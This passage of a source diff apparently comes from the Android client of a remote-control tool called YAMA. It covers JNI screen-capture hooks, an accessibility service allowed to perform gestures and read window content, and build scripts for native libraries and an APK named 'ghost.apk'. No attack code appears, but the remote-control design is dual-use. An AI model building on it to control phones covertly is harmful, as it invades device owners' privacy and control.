filesDir: String
|
||||||
|
): Int
|
||||||
|
|
||||||
|
external fun nativeStop()
|
||||||
|
|
||||||
|
/** MediaCodec 配置完成后调用,告知 C++ 实际捕获分辨率 */
|
||||||
|
external fun nativeSetScreenSize(width: Int, height: Int)
|
||||||
|
|
||||||
|
/** MediaCodec 每输出一帧 H.264 NALU 时调用 */
|
||||||
|
external fun nativeOnH264Frame(data: ByteArray, offset: Int, size: Int, isKeyframe: Boolean)
|
||||||
|
}
|
||||||
@@ -0,0 +1,5 @@
|
|||||||
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
|
<adaptive-icon xmlns:android="http://schemas.android.com/apk/res/android">
|
||||||
|
<background android:drawable="@color/ic_launcher_background"/>
|
||||||
|
<foreground android:drawable="@mipmap/ic_launcher_foreground"/>
|
||||||
|
</adaptive-icon>
|
||||||
@@ -0,0 +1,5 @@
|
|||||||
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
|
<adaptive-icon xmlns:android="http://schemas.android.com/apk/res/android">
|
||||||
|
<background android:drawable="@color/ic_launcher_background"/>
|
||||||
|
<foreground android:drawable="@mipmap/ic_launcher_foreground"/>
|
||||||
|
</adaptive-icon>
|
||||||
BIN
android/app/src/main/res/mipmap-hdpi/ic_launcher.png
Normal file
|
After Width: | Height: | Size: 3.9 KiB |
BIN
android/app/src/main/res/mipmap-hdpi/ic_launcher_foreground.png
Normal file
|
After Width: | Height: | Size: 3.1 KiB |
BIN
android/app/src/main/res/mipmap-mdpi/ic_launcher.png
Normal file
|
After Width: | Height: | Size: 2.3 KiB |
BIN
android/app/src/main/res/mipmap-mdpi/ic_launcher_foreground.png
Normal file
|
After Width: | Height: | Size: 1.8 KiB |
BIN
android/app/src/main/res/mipmap-xhdpi/ic_launcher.png
Normal file
|
After Width: | Height: | Size: 5.6 KiB |
BIN
android/app/src/main/res/mipmap-xhdpi/ic_launcher_foreground.png
Normal file
|
After Width: | Height: | Size: 4.5 KiB |
BIN
android/app/src/main/res/mipmap-xxhdpi/ic_launcher.png
Normal file
|
After Width: | Height: | Size: 9.5 KiB |
|
After Width: | Height: | Size: 7.9 KiB |
BIN
android/app/src/main/res/mipmap-xxxhdpi/ic_launcher.png
Normal file
|
After Width: | Height: | Size: 14 KiB |
|
After Width: | Height: | Size: 11 KiB |
4
android/app/src/main/res/values/colors.xml
Normal file
@@ -0,0 +1,4 @@
|
|||||||
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
|
<resources>
|
||||||
|
<color name="ic_launcher_background">#F2F2F2</color>
|
||||||
|
</resources>
|
||||||
5
android/app/src/main/res/values/strings.xml
Normal file
@@ -0,0 +1,5 @@
|
|||||||
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
|
<resources>
|
||||||
|
<string name="app_name">YAMA</string>
|
||||||
|
<string name="accessibility_service_description">YAMA remote control service</string>
|
||||||
|
</resources>
|
||||||
8
android/app/src/main/res/values/themes.xml
Normal file
@@ -0,0 +1,8 @@
|
|||||||
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
|
<resources>
|
||||||
|
<style name="Theme.YAMA" parent="Theme.AppCompat.Light.NoActionBar">
|
||||||
|
<item name="colorPrimary">#1A73E8</item>
|
||||||
|
<item name="colorPrimaryDark">#1558B0</item>
|
||||||
|
<item name="colorAccent">#1A73E8</item>
|
||||||
|
</style>
|
||||||
|
</resources>
|
||||||
@@ -0,0 +1,8 @@
|
|||||||
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
|
<accessibility-service xmlns:android="http://schemas.android.com/apk/res/android"
|
||||||
|
android:accessibilityEventTypes="typeWindowStateChanged"
|
||||||
|
android:accessibilityFeedbackType="feedbackGeneric"
|
||||||
|
android:canPerformGestures="true"
|
||||||
|
android:canRetrieveWindowContent="true"
|
||||||
|
android:notificationTimeout="0"
|
||||||
|
android:settingsActivity="com.yama.client.MainActivity" />
|
||||||
4
android/build.gradle
Normal file
@@ -0,0 +1,4 @@
|
|||||||
|
plugins {
|
||||||
|
id 'com.android.application' version '8.10.1' apply false
|
||||||
|
id 'org.jetbrains.kotlin.android' version '2.1.21' apply false
|
||||||
|
}
|
||||||
197
android/build_android_libs.ps1
Normal file
@@ -0,0 +1,197 @@
|
|||||||
|
<#
|
||||||
|
.SYNOPSIS
|
||||||
|
Build libzstd.a and libsign.a for Android (4 ABIs)
|
||||||
|
.DESCRIPTION
|
||||||
|
Cross-compile Android static libraries on Windows using Android SDK cmake + NDK.
|
||||||
|
Supports: arm64-v8a / armeabi-v7a (device), x86 / x86_64 (emulator)
|
||||||
|
|
||||||
|
Usage:
|
||||||
|
cd C:\github\YAMA\android
|
||||||
|
PowerShell -ExecutionPolicy Bypass -File .\build_android_libs.ps1
|
||||||
|
|
||||||
|
Options:
|
||||||
|
-Force Rebuild even if .a files already exist
|
||||||
|
-SimplePluginsPath Path to SimplePlugins repo (default: sibling directory)
|
||||||
|
-ZstdOnly Build libzstd.a only
|
||||||
|
-SignOnly Build libsign.a only
|
||||||
|
#>
|
||||||
|
param(
|
||||||
|
[switch]$Force,
|
||||||
|
[string]$SimplePluginsPath = "",
|
||||||
|
[switch]$ZstdOnly,
|
||||||
|
[switch]$SignOnly
|
||||||
|
)
|
||||||
|
Set-StrictMode -Version Latest
|
||||||
|
$ErrorActionPreference = "Stop"
|
||||||
|
$SCRIPT_DIR = $PSScriptRoot
|
||||||
|
|
||||||
|
# -- Android SDK ---------------------------------------------------------------
|
||||||
|
$SDK = $env:ANDROID_HOME
|
||||||
|
if (-not $SDK) { $SDK = $env:ANDROID_SDK_ROOT }
|
||||||
|
if (-not $SDK) { $SDK = "$env:LOCALAPPDATA\Android\Sdk" }
|
||||||
|
if (-not (Test-Path $SDK)) {
|
||||||
|
Write-Error "Android SDK not found: $SDK`nSet ANDROID_HOME environment variable."
|
||||||
|
exit 1
|
||||||
|
}
|
||||||
|
|
||||||
|
# -- NDK -----------------------------------------------------------------------
|
||||||
|
$NDK = $env:ANDROID_NDK
|
||||||
|
if (-not $NDK) { $NDK = $env:ANDROID_NDK_HOME }
|
||||||
|
if (-not $NDK -or -not (Test-Path "$NDK\build\cmake\android.toolchain.cmake")) {
|
||||||
|
$ndkCandidate = Get-ChildItem "$SDK\ndk" -Directory -ErrorAction SilentlyContinue |
|
||||||
|
Sort-Object Name -Descending |
|
||||||
|
Select-Object -First 1
|
||||||
|
if ($ndkCandidate) { $NDK = $ndkCandidate.FullName }
|
||||||
|
}
|
||||||
|
if (-not (Test-Path "$NDK\build\cmake\android.toolchain.cmake")) {
|
||||||
|
Write-Error "NDK not found. Install via Android Studio > SDK Manager > NDK, or set ANDROID_NDK."
|
||||||
|
exit 1
|
||||||
|
}
|
||||||
|
Write-Host "NDK: $NDK"
|
||||||
|
|
||||||
|
# -- Android SDK cmake + ninja -------------------------------------------------
|
||||||
|
$CMAKE = $null
|
||||||
|
$sdkCmakeDirs = Get-ChildItem "$SDK\cmake" -Directory -ErrorAction SilentlyContinue |
|
||||||
|
Sort-Object Name -Descending
|
||||||
|
foreach ($dir in $sdkCmakeDirs) {
|
||||||
|
$cmakeBin = "$($dir.FullName)\bin\cmake.exe"
|
||||||
|
$ninjaBin = "$($dir.FullName)\bin\ninja.exe"
|
||||||
|
if ((Test-Path $cmakeBin) -and (Test-Path $ninjaBin)) {
|
||||||
|
$CMAKE = $cmakeBin
|
||||||
|
$env:PATH = "$($dir.FullName)\bin;$env:PATH"
|
||||||
|
break
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (-not $CMAKE) {
|
||||||
|
$cmakeCmd = Get-Command cmake -ErrorAction SilentlyContinue
|
||||||
|
if ($cmakeCmd) { $CMAKE = $cmakeCmd.Source }
|
||||||
|
}
|
||||||
|
if (-not $CMAKE) {
|
||||||
|
Write-Error "cmake not found. Install via Android Studio > SDK Manager > cmake."
|
||||||
|
exit 1
|
||||||
|
}
|
||||||
|
Write-Host "cmake: $CMAKE"
|
||||||
|
|
||||||
|
# -- SimplePlugins -------------------------------------------------------------
|
||||||
|
$SIGN_SRC = $SimplePluginsPath
|
||||||
|
if (-not $SIGN_SRC) {
|
||||||
|
$candidate = "$SCRIPT_DIR\..\..\SimplePlugins"
|
||||||
|
if (Test-Path $candidate) {
|
||||||
|
$SIGN_SRC = (Resolve-Path $candidate).Path
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if ((-not $ZstdOnly) -and (-not (Test-Path "$SIGN_SRC\license_unix.cpp"))) {
|
||||||
|
Write-Error "SimplePlugins not found: $SIGN_SRC`nUse -SimplePluginsPath C:\path\to\SimplePlugins"
|
||||||
|
exit 1
|
||||||
|
}
|
||||||
|
if (-not $ZstdOnly) { Write-Host "sign: $SIGN_SRC" }
|
||||||
|
|
||||||
|
# -- Common variables ----------------------------------------------------------
|
||||||
|
$TOOLCHAIN = "$NDK\build\cmake\android.toolchain.cmake"
|
||||||
|
$ABIS = @("arm64-v8a", "armeabi-v7a", "x86", "x86_64")
|
||||||
|
$LIB_BASE = "$SCRIPT_DIR\app\src\main\cpp\lib"
|
||||||
|
|
||||||
|
# ==============================================================================
|
||||||
|
# Part 1 - libzstd.a
|
||||||
|
# ==============================================================================
|
||||||
|
if (-not $SignOnly) {
|
||||||
|
$ZSTD_VER = "1.5.7"
|
||||||
|
$ZSTD_SRC = "$SCRIPT_DIR\zstd-$ZSTD_VER"
|
||||||
|
|
||||||
|
if (-not (Test-Path $ZSTD_SRC)) {
|
||||||
|
$TAR = "$SCRIPT_DIR\zstd.tar.gz"
|
||||||
|
Write-Host "`nDownloading zstd $ZSTD_VER..."
|
||||||
|
Invoke-WebRequest `
|
||||||
|
"https://github.com/facebook/zstd/releases/download/v$ZSTD_VER/zstd-$ZSTD_VER.tar.gz" `
|
||||||
|
-OutFile $TAR
|
||||||
|
Write-Host "Extracting..."
|
||||||
|
tar -xf $TAR -C $SCRIPT_DIR
|
||||||
|
Remove-Item $TAR
|
||||||
|
}
|
||||||
|
|
||||||
|
foreach ($ABI in $ABIS) {
|
||||||
|
$outFile = "$LIB_BASE\$ABI\libzstd.a"
|
||||||
|
if ((Test-Path $outFile) -and (-not $Force)) {
|
||||||
|
Write-Host "`n[skip] zstd $ABI -- already exists (use -Force to rebuild)"
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
Write-Host "`n===== zstd $ABI ====="
|
||||||
|
$BUILD = "$SCRIPT_DIR\zstd_build\$ABI"
|
||||||
|
Remove-Item -Recurse -Force $BUILD -ErrorAction SilentlyContinue
|
||||||
|
New-Item -ItemType Directory -Force "$LIB_BASE\$ABI" | Out-Null
|
||||||
|
|
||||||
|
$configArgs = @(
|
||||||
|
"-B", $BUILD,
|
||||||
|
"-S", "$ZSTD_SRC\build\cmake",
|
||||||
|
"-G", "Ninja",
|
||||||
|
"-DCMAKE_TOOLCHAIN_FILE=$TOOLCHAIN",
|
||||||
|
"-DANDROID_ABI=$ABI",
|
||||||
|
"-DANDROID_PLATFORM=android-21",
|
||||||
|
"-DCMAKE_BUILD_TYPE=Release",
|
||||||
|
"-DCMAKE_C_FLAGS=-O2 -g0",
|
||||||
|
"-DZSTD_BUILD_STATIC=ON",
|
||||||
|
"-DZSTD_BUILD_SHARED=OFF",
|
||||||
|
"-DZSTD_BUILD_PROGRAMS=OFF",
|
||||||
|
"-DZSTD_BUILD_TESTS=OFF",
|
||||||
|
"-DZSTD_LEGACY_SUPPORT=0"
|
||||||
|
)
|
||||||
|
& $CMAKE @configArgs
|
||||||
|
if ($LASTEXITCODE -ne 0) { Write-Error "cmake configure failed"; exit 1 }
|
||||||
|
|
||||||
|
& $CMAKE --build $BUILD --config Release
|
||||||
|
if ($LASTEXITCODE -ne 0) { Write-Error "cmake build failed"; exit 1 }
|
||||||
|
|
||||||
|
Copy-Item "$BUILD\lib\libzstd.a" $outFile -Force
|
||||||
|
$sz = [math]::Round((Get-Item $outFile).Length / 1KB)
|
||||||
|
Write-Host " --> $outFile (${sz} KB)"
|
||||||
|
}
|
||||||
|
Remove-Item -Recurse -Force "$SCRIPT_DIR\zstd_build" -ErrorAction SilentlyContinue
|
||||||
|
Remove-Item -Recurse -Force $ZSTD_SRC -ErrorAction SilentlyContinue
|
||||||
|
}
|
||||||
|
|
||||||
|
# ==============================================================================
|
||||||
|
# Part 2 - libsign.a
|
||||||
|
# ==============================================================================
|
||||||
|
if (-not $ZstdOnly) {
|
||||||
|
foreach ($ABI in $ABIS) {
|
||||||
|
$outFile = "$LIB_BASE\$ABI\libsign.a"
|
||||||
|
if ((Test-Path $outFile) -and (-not $Force)) {
|
||||||
|
Write-Host "`n[skip] sign $ABI -- already exists (use -Force to rebuild)"
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
Write-Host "`n===== sign $ABI ====="
|
||||||
|
$BUILD = "$SCRIPT_DIR\sign_build\$ABI"
|
||||||
|
Remove-Item -Recurse -Force $BUILD -ErrorAction SilentlyContinue
|
||||||
|
New-Item -ItemType Directory -Force "$LIB_BASE\$ABI" | Out-Null
|
||||||
|
|
||||||
|
$configArgs = @(
|
||||||
|
"-B", $BUILD,
|
||||||
|
"-S", "$SIGN_SRC\sign_lib",
|
||||||
|
"-G", "Ninja",
|
||||||
|
"-DCMAKE_TOOLCHAIN_FILE=$TOOLCHAIN",
|
||||||
|
"-DANDROID_ABI=$ABI",
|
||||||
|
"-DANDROID_PLATFORM=android-21",
|
||||||
|
"-DCMAKE_BUILD_TYPE=Release",
|
||||||
|
"-DCMAKE_C_FLAGS=-Os -g0"
|
||||||
|
)
|
||||||
|
& $CMAKE @configArgs
|
||||||
|
if ($LASTEXITCODE -ne 0) { Write-Error "cmake configure failed"; exit 1 }
|
||||||
|
|
||||||
|
& $CMAKE --build $BUILD --config Release
|
||||||
|
if ($LASTEXITCODE -ne 0) { Write-Error "cmake build failed"; exit 1 }
|
||||||
|
|
||||||
|
Copy-Item "$BUILD\libsign.a" $outFile -Force
|
||||||
|
$sz = [math]::Round((Get-Item $outFile).Length / 1KB)
|
||||||
|
Write-Host " --> $outFile (${sz} KB)"
|
||||||
|
}
|
||||||
|
Remove-Item -Recurse -Force "$SCRIPT_DIR\sign_build" -ErrorAction SilentlyContinue
|
||||||
|
}
|
||||||
|
|
||||||
|
# -- Summary -------------------------------------------------------------------
|
||||||
|
Write-Host "`n===== Done ====="
|
||||||
|
Get-ChildItem $LIB_BASE -Recurse -Filter "*.a" | Sort-Object FullName |
|
||||||
|
ForEach-Object {
|
||||||
|
$rel = $_.FullName.Substring($LIB_BASE.Length + 1)
|
||||||
|
$sz = [math]::Round($_.Length / 1KB)
|
||||||
|
Write-Host (" {0,-40} {1,6} KB" -f $rel, $sz)
|
||||||
|
}
|
||||||
307
android/build_apk.sh
Normal file
@@ -0,0 +1,307 @@
|
|||||||
|
#!/usr/bin/env bash
|
||||||
|
# Build YAMA Android APK
|
||||||
|
# Works on WSL, native Linux, macOS
|
||||||
|
# Usage: ./build_apk.sh [debug|release] (default: debug)
|
||||||
|
set -euo pipefail
|
||||||
|
|
||||||
|
SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
|
||||||
|
cd "$SCRIPT_DIR"
|
||||||
|
|
||||||
|
# ── Detect WSL ───────────────────────────────────────────────────────────────
|
||||||
|
IS_WSL=false
|
||||||
|
grep -qi microsoft /proc/version 2>/dev/null && IS_WSL=true
|
||||||
|
|
||||||
|
# ── Find Android SDK ─────────────────────────────────────────────────────────
|
||||||
|
if [ -n "${ANDROID_HOME:-}" ] && [ -d "${ANDROID_HOME}" ]; then
|
||||||
|
SDK_DIR="$ANDROID_HOME"
|
||||||
|
elif [ -n "${ANDROID_SDK_ROOT:-}" ] && [ -d "${ANDROID_SDK_ROOT}" ]; then
|
||||||
|
SDK_DIR="$ANDROID_SDK_ROOT"
|
||||||
|
elif $IS_WSL; then
|
||||||
|
# Auto-detect from Windows %USERPROFILE%
|
||||||
|
WIN_USER=$(cmd.exe /c "echo %USERPROFILE%" 2>/dev/null | tr -d '\r')
|
||||||
|
WSL_USER=$(wslpath "$WIN_USER" 2>/dev/null || \
|
||||||
|
echo "$WIN_USER" | sed 's|\\|/|g; s|^\([A-Za-z]\):|/mnt/\L\1|')
|
||||||
|
SDK_DIR="${WSL_USER}/AppData/Local/Android/Sdk"
|
||||||
|
elif [ -d "$HOME/Android/Sdk" ]; then
|
||||||
|
SDK_DIR="$HOME/Android/Sdk"
|
||||||
|
elif [ -d "$HOME/Library/Android/sdk" ]; then
|
||||||
|
SDK_DIR="$HOME/Library/Android/sdk"
|
||||||
|
else
|
||||||
|
SDK_DIR=""
|
||||||
|
fi
|
||||||
|
|
||||||
|
if [ -z "${SDK_DIR:-}" ] || [ ! -d "$SDK_DIR" ]; then
|
||||||
|
echo "ERROR: Android SDK not found."
|
||||||
|
echo ""
|
||||||
|
echo " WSL: auto-detected from Windows %USERPROFILE%"
|
||||||
|
echo " or set: export ANDROID_HOME=/mnt/c/Users/<you>/AppData/Local/Android/Sdk"
|
||||||
|
echo " Native Linux: install SDK to ~/Android/Sdk or set ANDROID_HOME"
|
||||||
|
exit 1
|
||||||
|
fi
|
||||||
|
echo "SDK : $SDK_DIR"
|
||||||
|
|
||||||
|
# ── Check Java 17+ ───────────────────────────────────────────────────────────
|
||||||
|
if ! command -v java &>/dev/null; then
|
||||||
|
echo "ERROR: Java not found."
|
||||||
|
echo " sudo apt install openjdk-17-jdk"
|
||||||
|
exit 1
|
||||||
|
fi
|
||||||
|
JAVA_VER=$(java -version 2>&1 | grep -oP '(?<=version ")[0-9]+' | head -1)
|
||||||
|
if [ "${JAVA_VER:-0}" -lt 17 ]; then
|
||||||
|
echo "ERROR: Java 17+ required (found Java ${JAVA_VER:-unknown})."
|
||||||
|
echo " sudo apt install openjdk-17-jdk"
|
||||||
|
exit 1
|
||||||
|
fi
|
||||||
|
echo "Java: $(java -version 2>&1 | head -1)"
|
||||||
|
|
||||||
|
# ── Check cmake ───────────────────────────────────────────────────────────────
|
||||||
|
# The SDK ships cmake.exe (Windows-only); on Linux/WSL we need system cmake.
|
||||||
|
if ! command -v cmake &>/dev/null; then
|
||||||
|
echo "ERROR: cmake not found."
|
||||||
|
echo " sudo apt install cmake"
|
||||||
|
echo ""
|
||||||
|
echo " The SDK's cmake is a Windows .exe and cannot run on Linux/WSL."
|
||||||
|
exit 1
|
||||||
|
fi
|
||||||
|
echo "CMake: $(cmake --version | head -1)"
|
||||||
|
|
||||||
|
# ── Check ninja ──────────────────────────────────────────────────────────────
|
||||||
|
if ! command -v ninja &>/dev/null; then
|
||||||
|
echo "ERROR: ninja not found."
|
||||||
|
echo " sudo apt install ninja-build"
|
||||||
|
exit 1
|
||||||
|
fi
|
||||||
|
|
||||||
|
# ── WSL: create Linux stubs for Windows build-tools ──────────────────────────
|
||||||
|
# Windows SDK ships .exe files only; Linux Gradle needs plain-name wrappers.
|
||||||
|
# WSL binfmt_misc executes .exe files transparently from bash.
|
||||||
|
# We FORCE-WRITE stubs (don't rely on prior state) so broken/dir artifacts
|
||||||
|
# from previous attempts don't block the check.
|
||||||
|
if $IS_WSL; then
|
||||||
|
BT_DIR=$(find "$SDK_DIR/build-tools" -maxdepth 1 -mindepth 1 -type d 2>/dev/null \
|
||||||
|
| sort -V | tail -1)
|
||||||
|
# Stub every installed build-tools version — the project may reference any of them
|
||||||
|
BT_VERSIONS=$(find "$SDK_DIR/build-tools" -maxdepth 1 -mindepth 1 -type d 2>/dev/null \
|
||||||
|
| sort -V)
|
||||||
|
LATEST_BT=""
|
||||||
|
if [ -z "$BT_VERSIONS" ]; then
|
||||||
|
echo "WARNING: build-tools directory not found under $SDK_DIR/build-tools"
|
||||||
|
else
|
||||||
|
for BT_DIR in $BT_VERSIONS; do
|
||||||
|
LATEST_BT="$BT_DIR" # last in sorted list = newest
|
||||||
|
VER=$(basename "$BT_DIR")
|
||||||
|
|
||||||
|
# 1. Wrap every .exe found — covers aapt, aapt2, aidl, split-select, etc.
|
||||||
|
for EXE in "${BT_DIR}"/*.exe; do
|
||||||
|
[ -f "$EXE" ] || continue
|
||||||
|
TOOL=$(basename "$EXE" .exe)
|
||||||
|
BIN="${BT_DIR}/${TOOL}"
|
||||||
|
[ -e "$BIN" ] && rm -rf "$BIN"
|
||||||
|
printf '#!/bin/sh\nexec "%s" "$@"\n' "$EXE" > "$BIN"
|
||||||
|
chmod +x "$BIN"
|
||||||
|
echo "Stubbed: ${VER}/${TOOL} → $(basename $EXE)"
|
||||||
|
done
|
||||||
|
|
||||||
|
# 2. Ensure tools AGP validates that may not have .exe versions
|
||||||
|
for TOOL in aapt aapt2 aidl split-select dexdump zipalign apksigner d8; do
|
||||||
|
BIN="${BT_DIR}/${TOOL}"
|
||||||
|
if [ ! -f "$BIN" ]; then
|
||||||
|
printf '#!/bin/sh\nexit 0\n' > "$BIN"
|
||||||
|
chmod +x "$BIN"
|
||||||
|
echo "Noop: ${VER}/${TOOL}"
|
||||||
|
fi
|
||||||
|
done
|
||||||
|
done
|
||||||
|
fi
|
||||||
|
|
||||||
|
# If build.gradle requests a buildToolsVersion that isn't installed, create a
|
||||||
|
# stub directory pointing all tools to the latest installed version.
|
||||||
|
if [ -n "$LATEST_BT" ]; then
|
||||||
|
REQ_VER=$(grep -oP '(?<=buildToolsVersion\s")[^"]+' \
|
||||||
|
"$SCRIPT_DIR/app/build.gradle" 2>/dev/null | head -1 || true)
|
||||||
|
if [ -n "$REQ_VER" ]; then
|
||||||
|
REQ_DIR="$SDK_DIR/build-tools/$REQ_VER"
|
||||||
|
if [ ! -d "$REQ_DIR" ]; then
|
||||||
|
echo "build-tools $REQ_VER not installed — creating stub dir from $(basename $LATEST_BT)"
|
||||||
|
mkdir -p "$REQ_DIR"
|
||||||
|
# Copy source.properties so AGP recognises the version
|
||||||
|
if [ -f "${LATEST_BT}/source.properties" ]; then
|
||||||
|
sed "s/Pkg.Revision=.*/Pkg.Revision=$REQ_VER/" \
|
||||||
|
"${LATEST_BT}/source.properties" > "${REQ_DIR}/source.properties"
|
||||||
|
else
|
||||||
|
printf 'Pkg.Desc=Android SDK Build-tools\nPkg.Revision=%s\n' \
|
||||||
|
"$REQ_VER" > "${REQ_DIR}/source.properties"
|
||||||
|
fi
|
||||||
|
for TOOL in aapt aapt2 aidl split-select dexdump zipalign apksigner d8; do
|
||||||
|
BIN="${REQ_DIR}/${TOOL}"
|
||||||
|
SRC="${LATEST_BT}/${TOOL}" # already stubbed above
|
||||||
|
if [ -f "$SRC" ]; then
|
||||||
|
cp "$SRC" "$BIN"
|
||||||
|
chmod +x "$BIN"
|
||||||
|
else
|
||||||
|
printf '#!/bin/sh\nexit 0\n' > "$BIN"
|
||||||
|
chmod +x "$BIN"
|
||||||
|
fi
|
||||||
|
echo "Forwarded: ${REQ_VER}/${TOOL} → $(basename $LATEST_BT)"
|
||||||
|
done
|
||||||
|
fi
|
||||||
|
fi
|
||||||
|
fi
|
||||||
|
|
||||||
|
# ── WSL: stub SDK cmake ────────────────────────────────────────────────────
|
||||||
|
# AGP resolves cmake from SDK cmake/<ver>/bin/cmake (a Windows .exe).
|
||||||
|
# Create plain-name stubs that call system cmake/ninja instead.
|
||||||
|
SYS_CMAKE=$(command -v cmake 2>/dev/null || true)
|
||||||
|
SYS_NINJA=$(command -v ninja 2>/dev/null || true)
|
||||||
|
CMAKE_VERSIONS=$(find "$SDK_DIR/cmake" -maxdepth 1 -mindepth 1 -type d 2>/dev/null \
|
||||||
|
| sort -V || true)
|
||||||
|
for SDK_CMAKE_DIR in $CMAKE_VERSIONS; do
|
||||||
|
CVER=$(basename "$SDK_CMAKE_DIR")
|
||||||
|
CBIN="${SDK_CMAKE_DIR}/bin"
|
||||||
|
mkdir -p "$CBIN"
|
||||||
|
for TOOL in cmake ninja; do
|
||||||
|
BIN="${CBIN}/${TOOL}"
|
||||||
|
[ -e "$BIN" ] && rm -rf "$BIN"
|
||||||
|
if [ "$TOOL" = "cmake" ] && [ -n "$SYS_CMAKE" ]; then
|
||||||
|
printf '#!/bin/sh\nexec "%s" "$@"\n' "$SYS_CMAKE" > "$BIN"
|
||||||
|
echo "CMake stub: ${CVER}/cmake → $SYS_CMAKE"
|
||||||
|
elif [ "$TOOL" = "ninja" ] && [ -n "$SYS_NINJA" ]; then
|
||||||
|
printf '#!/bin/sh\nexec "%s" "$@"\n' "$SYS_NINJA" > "$BIN"
|
||||||
|
echo "CMake stub: ${CVER}/ninja → $SYS_NINJA"
|
||||||
|
else
|
||||||
|
printf '#!/bin/sh\nexit 0\n' > "$BIN"
|
||||||
|
echo "CMake noop: ${CVER}/${TOOL}"
|
||||||
|
fi
|
||||||
|
chmod +x "$BIN"
|
||||||
|
done
|
||||||
|
done
|
||||||
|
|
||||||
|
# ── WSL: verify Linux NDK ─────────────────────────────────────────────────
|
||||||
|
# Windows NDK (.exe tools) cannot compile from WSL — clang.exe doesn't
|
||||||
|
# understand /mnt/c/ Linux paths. A real Linux NDK is required.
|
||||||
|
NDK_DIR=""
|
||||||
|
# 1. Honour ANDROID_NDK_HOME if set
|
||||||
|
if [ -n "${ANDROID_NDK_HOME:-}" ] && \
|
||||||
|
[ -f "${ANDROID_NDK_HOME}/toolchains/llvm/prebuilt/linux-x86_64/bin/clang" ]; then
|
||||||
|
NDK_DIR="$ANDROID_NDK_HOME"
|
||||||
|
fi
|
||||||
|
# 2. Scan SDK ndk/ for a version that has real Linux ELF binaries
|
||||||
|
if [ -z "$NDK_DIR" ]; then
|
||||||
|
for CANDIDATE in $(find "$SDK_DIR/ndk" -maxdepth 1 -mindepth 1 -type d 2>/dev/null | sort -V); do
|
||||||
|
CBIN="${CANDIDATE}/toolchains/llvm/prebuilt/linux-x86_64/bin/clang"
|
||||||
|
if [ -f "$CBIN" ] && file -L "$CBIN" 2>/dev/null | grep -q ELF; then
|
||||||
|
NDK_DIR="$CANDIDATE"
|
||||||
|
fi
|
||||||
|
done
|
||||||
|
fi
|
||||||
|
# 3. Check common install location ~/android-ndk/
|
||||||
|
if [ -z "$NDK_DIR" ]; then
|
||||||
|
for CANDIDATE in "$HOME/android-ndk" "$HOME/android-ndk-linux"; do
|
||||||
|
CBIN="${CANDIDATE}/toolchains/llvm/prebuilt/linux-x86_64/bin/clang"
|
||||||
|
if [ -f "$CBIN" ] && file -L "$CBIN" 2>/dev/null | grep -q ELF; then
|
||||||
|
NDK_DIR="$CANDIDATE"
|
||||||
|
break
|
||||||
|
fi
|
||||||
|
done
|
||||||
|
fi
|
||||||
|
if [ -z "$NDK_DIR" ]; then
|
||||||
|
# Determine the required NDK version from build.gradle for the download hint
|
||||||
|
REQ_NDK=$(grep -oP '(?<=ndkVersion\s")[^"]+' \
|
||||||
|
"$SCRIPT_DIR/app/build.gradle" 2>/dev/null | head -1 || true)
|
||||||
|
NDK_MAJ=${REQ_NDK%%.*}
|
||||||
|
echo ""
|
||||||
|
echo "ERROR: Linux NDK not found."
|
||||||
|
echo " The Windows NDK cannot compile native code in WSL."
|
||||||
|
echo ""
|
||||||
|
# Look up the exact Linux zip name from the repository manifest
|
||||||
|
ZIP_NAME=$(curl -s 'https://dl.google.com/android/repository/repository2-3.xml' 2>/dev/null \
|
||||||
|
| grep -A 10 "ndk;${REQ_NDK}" | grep 'linux\.zip' | grep -oP '(?<=<url>)[^<]+' | head -1)
|
||||||
|
ZIP_NAME="${ZIP_NAME:-android-ndk-r${NDK_MAJ:-30}-linux.zip}"
|
||||||
|
echo " Install the Linux NDK (requires ~600 MB):"
|
||||||
|
echo " wget https://dl.google.com/android/repository/${ZIP_NAME}"
|
||||||
|
echo " unzip ${ZIP_NAME} -d \$HOME"
|
||||||
|
echo " mv \$HOME/\$(basename ${ZIP_NAME} .zip) \$HOME/android-ndk"
|
||||||
|
echo ""
|
||||||
|
echo " Then re-run ./build_apk.sh"
|
||||||
|
echo " (Or set ANDROID_NDK_HOME to your Linux NDK path)"
|
||||||
|
exit 1
|
||||||
|
fi
|
||||||
|
echo "NDK : $NDK_DIR"
|
||||||
|
fi
|
||||||
|
|
||||||
|
# ── Write local.properties (backup & restore to avoid clobbering Android Studio) ──
|
||||||
|
PROPS="$SCRIPT_DIR/local.properties"
|
||||||
|
PROPS_BAK="$SCRIPT_DIR/local.properties.bak"
|
||||||
|
[ -f "$PROPS" ] && cp "$PROPS" "$PROPS_BAK"
|
||||||
|
|
||||||
|
cat > "$PROPS" <<EOF
|
||||||
|
sdk.dir=$SDK_DIR
|
||||||
|
EOF
|
||||||
|
if $IS_WSL && [ -n "${NDK_DIR:-}" ]; then
|
||||||
|
echo "ndk.dir=$NDK_DIR" >> "$PROPS"
|
||||||
|
fi
|
||||||
|
echo "local.properties written (original backed up to local.properties.bak)"
|
||||||
|
|
||||||
|
restore_props() {
|
||||||
|
if [ -f "$PROPS_BAK" ]; then
|
||||||
|
mv "$PROPS_BAK" "$PROPS"
|
||||||
|
echo "local.properties restored"
|
||||||
|
else
|
||||||
|
rm -f "$PROPS"
|
||||||
|
fi
|
||||||
|
}
|
||||||
|
trap restore_props EXIT
|
||||||
|
|
||||||
|
# ── Build ─────────────────────────────────────────────────────────────────────
|
||||||
|
BUILD_TYPE="${1:-release}"
|
||||||
|
case "$BUILD_TYPE" in
|
||||||
|
release) TASK="assembleRelease" ;;
|
||||||
|
debug) TASK="assembleDebug" ;;
|
||||||
|
clean)
|
||||||
|
chmod +x gradlew
|
||||||
|
./gradlew clean
|
||||||
|
rm -rf "$SCRIPT_DIR/app/.cxx"
|
||||||
|
rm -f "$SCRIPT_DIR/ghost.apk" "$SCRIPT_DIR/ghost-debug.apk"
|
||||||
|
echo "Clean done."
|
||||||
|
exit 0
|
||||||
|
;;
|
||||||
|
